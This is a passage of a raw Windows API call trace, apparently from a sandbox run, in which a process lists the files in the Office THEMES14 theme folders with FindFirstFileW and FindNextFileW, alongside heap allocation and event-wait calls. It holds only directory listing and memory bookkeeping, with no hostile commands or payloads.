1 [0268.273] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0268.273] GetProcessHeap () returned 0x550000 [0268.273] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0268.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0268.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.274] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.275] GetProcessHeap () returned 0x550000 [0268.275] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.275] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0268.275] GetProcessHeap () returned 0x550000 [0268.275] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.275] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.275] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.275] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0268.276] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0268.276] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.276] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.276] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.276] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.276] GetProcessHeap () returned 0x550000 [0268.276] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.276] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0268.276] GetProcessHeap () returned 0x550000 [0268.277] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.277] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.277] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0268.277] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0268.277] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.278] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.278] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.278] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.278] GetProcessHeap () returned 0x550000 [0268.278] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.278] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0268.278] GetProcessHeap () returned 0x550000 [0268.278] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.279] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.279] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0268.279] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0268.279] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.279] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.279] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.279] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.280] GetProcessHeap () returned 0x550000 [0268.280] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.280] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0268.280] GetProcessHeap () returned 0x550000 [0268.280] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.280] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.280] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0268.280] ResetEvent (hEvent=0xe0) returned 1 [0268.280] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.369] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0268.370] ResetEvent (hEvent=0xe0) returned 1 [0268.370] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.372] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.372] ResetEvent (hEvent=0xe0) returned 1 [0268.372] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.374] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.374] ResetEvent (hEvent=0xe0) returned 1 [0268.374] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.377] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.378] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.378] GetProcessHeap () returned 0x550000 [0268.378] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.378] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0268.378] GetProcessHeap () returned 0x550000 [0268.378] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.378] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.378] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, 